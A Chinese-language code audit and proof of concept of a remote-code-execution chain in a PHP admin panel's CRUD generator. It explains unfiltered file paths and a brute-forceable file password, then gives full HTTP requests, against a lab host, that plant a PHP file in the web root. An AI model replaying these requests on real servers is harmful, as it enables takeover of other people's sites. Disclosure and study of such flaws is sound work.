代码审计
接口:/adminapi/system/crud 处理的代码如下
public function save(SystemCrudDataService $service, $id = 0){$data = $this->request->postMore([['pid', 0],//上级菜单id['menuName', ''],//菜单名['tableName', ''],//表名['modelName', ''],//模块名称['tableComment', ''],//表备注['tableField', []],//表字段['tableIndex', []],//索引['filePath', []],//生成文件位置['isTable', 0],//是否生成表['deleteField', []],//删除的表字段]);$fromField = $searchField = $hasOneField = $columnField = $tableIndex = [];$dictionaryids = array_column($data['tableField'], 'dictionary_id');if ($dictionaryids) {$dictionaryList = $service->getColumn([['id', 'in', $dictionaryids]], 'value', 'id');foreach ($dictionaryList as &$value) {$value = is_string($value) ? json_decode($value, true) : $value;}} else {$dictionaryList = [];}foreach ($data['tableField'] as $item) {//判断字段长度if (in_array($item['field_type'], [FormTypeEnum::DATE_TIME, 'timestamp', 'time', 'date', 'year']) && $item['limit'] > 6) {return app('json')->fail('字段' . $item['field'] . '长度不能大于6');}if ($item['field_type'] == 'enum' && !is_array($item['limit'])) {return app('json')->fail('数据类型为枚举时,长度为数组类型');}//收集列表展示数据if ($item['is_table'] && !in_array($item['field_type'], ['primaryKey', 'addSoftDelete'])) {if (isset($item['primaryKey']) && !$item['primaryKey']) {$columnField[] = ['field' => $item['field'],'name' => $item['table_name'] ?: $item['comment'],'type' => $item['from_type'],];}}$name = $item['table_name'] ?: $item['comment'];$option = $item['options'] ?? (isset($item['dictionary_id']) ? ($dictionaryList[$item['dictionary_id']] ?? []) : []);//收集表单展示数据if ($item['from_type']) {if (!$name) {return app('json')->fail(500048, [], ['field' => $item['field']]);}if (!$option && in_array($item['from_type'], [FormTypeEnum::RADIO, FormTypeEnum::SELECT])) {return app('json')->fail('表单类型为radio或select时,options字段不能为空');}$fromField[] = ['field' => $item['field'],'type' => $item['from_type'],'name' => $name,'required' => $item['required'],'option' => $option];}//搜索if (!empty($item['search'])) {$searchField[] = ['field' => $item['field'],'type' => $item['from_type'],'name' => $name,'search' => $item['search'],'options' => $option];}//关联if (!empty($item['hasOne'])) {$hasOneField[] = ['field' => $item['field'],'hasOne' => $item['hasOne'] ?? '','name' => $name,];}//索引if (!empty($item['index'])) {$tableIndex[] = $item['field'];}}if (!$fromField) {return app('json')->fail(500046);}if (!$columnField) {return app('json')->fail(500047);}$data['fromField'] = $fromField;$data['tableIndex'] = $tableIndex;$data['columnField'] = $columnField;$data['searchField'] = $searchField;$data['hasOneField'] = $hasOneField;if (!$data['tableName']) {return app('json')->fail(500042);}$this->services->createCrud($id, $data);return app('json')->success(500043);}
没有对传入参数的路径做任何过滤以及后缀的检查,导致可以在任意路径创建任意后缀的文件,因此可以再网站根目录创建一个php文件 但是内容会有默认的代码 再配合以下接口进行内容 修改(任意内容写入)
写入文件的接口 /adminapi/system/crud/save_file/:id 处理的代码如下
public function savefile(Request $request, SystemFileServices $service, $id){$comment = $request->param('comment');$filepath = $request->param('filepath');$pwd = $request->param('pwd');if ($pwd == '') {return app('json')->fail('请输入文件管理密码');}if (config('filesystem.password') != $pwd) {return app('json')->fail('文件管理密码错误');}if (empty($filepath) || !$id) {return app('json')->fail(410087);}$crudInfo = $this->services->get($id, ['make_path']);if (!$crudInfo) {return app('json')->fail('修改的CRUD文件不存在');}$makeFilepath = '';foreach ($crudInfo->make_path as $key => $item) {$path = $item;if (in_array($key, ['pages', 'router', 'api'])) {$item = Make::adminTemplatePath() . $item;} else {$item = app()->getRootPath() . $item;}if ($filepath == $path) {$makeFilepath = $item;break;}}if (!$makeFilepath || !in_array($filepath, $crudInfo->make_path)) {return app('json')->fail('您没有权限修改此文件');}$res = $service->savefile($makeFilepath, $comment);if ($res) {return app('json')->success(100000);} else {return app('json')->fail(100006);}}
可以看到也没有任何过滤导致可以向任意路径的文件写入任意内容 前提是知道密码config('filesystem.password') 由于没有限制密码输入 次数导致可以爆破
两个接口配合即可写入任意代码导致
RCE
漏洞复现
首先调用如下接口 在controller处填写路径为public\\Aa.php 之后便会在程序根目录创建Aa.php
POST /adminapi/system/crud HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 919
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close{"pid":7,"tableName":"aa","modelName":"aa","isTable":1,"menuName":"aa","filePath":{"controller":"public\\Aa.php","model":"app\\model\\crud\\Aa.php","dao":"app\\dao\\crud\\AaDao.php","route":"app\\adminapi\\route\\crud\\aa.php","service":"app\\services\\crud\\AaServices.php","validate":"app\\adminapi\\validate\\crud\\AaValidate.php","router":"router\\modules\\crud\\aa.js","api":"api\\crud\\aa.js","pages":"pages\\crud\\aa\\index.vue"},"tableField":[{"field":"id","field_type":"int","default":"","comment":"自增ID","required":false,"is_table":true,"table_name":"ID","limit":"15","primaryKey":1,"from_type":""},{"field":"aa","field_type":"varchar","default":"aa","default_type":"1","comment":"aa","required":true,"is_table":true,"table_name":"aa","limit":200,"primaryKey":0,"from_type":"dateTime","search":"=","dictionary_id":0,"hasOne":["agent_level","name"],"index":true}],"deleteField":[]}
查看目录创建成功 并且会自动填充一些代码
再点击查看代码
在文件管理密码已知的情况下这里为123456(可以爆破) 调用以下数据包
POST /adminapi/system/crud/save_file/5 HTTP/1.1
Host: 192.168.242.142:89
Content-Length: 78
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.242.142:89
Referer: http://192.168.242.142:89/admin/system/code_generation_list
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=3c31ae0511c0770e81da16eb38aa551a; WS_ADMIN_URL=ws://192.168.242.142:89/notice; WS_CHAT_URL=ws://192.168.242.142:89/msg; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIwZmQ0Yjc1ZTA2Nzc5MjMwOTdlZThlNmQzYTdkZTQwMSIsImlzcyI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImF1ZCI6IjE5Mi4xNjguMjQyLjE0Mjo4OSIsImlhdCI6MTcwNjc5NTcwNywibmJmIjoxNzA2Nzk1NzA3LCJleHAiOjE3MDkzODc3MDcsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.UXGhi5sYhA4tNyLX1CWza_qjJKkR8jMaKZ7CwdeBpUY; expires_time=1709387707
Connection: close{"filepath":"public\\Aa.php","comment":"<?php\nphpinfo();\n?>","pwd":"123456"}
成功写入内容
尝试访问 http://192.168.242.142:89/Aa.php
这只是写入的phpinfo 进行无危害验证 可以写入其他内容进行RCE 而且是在根目录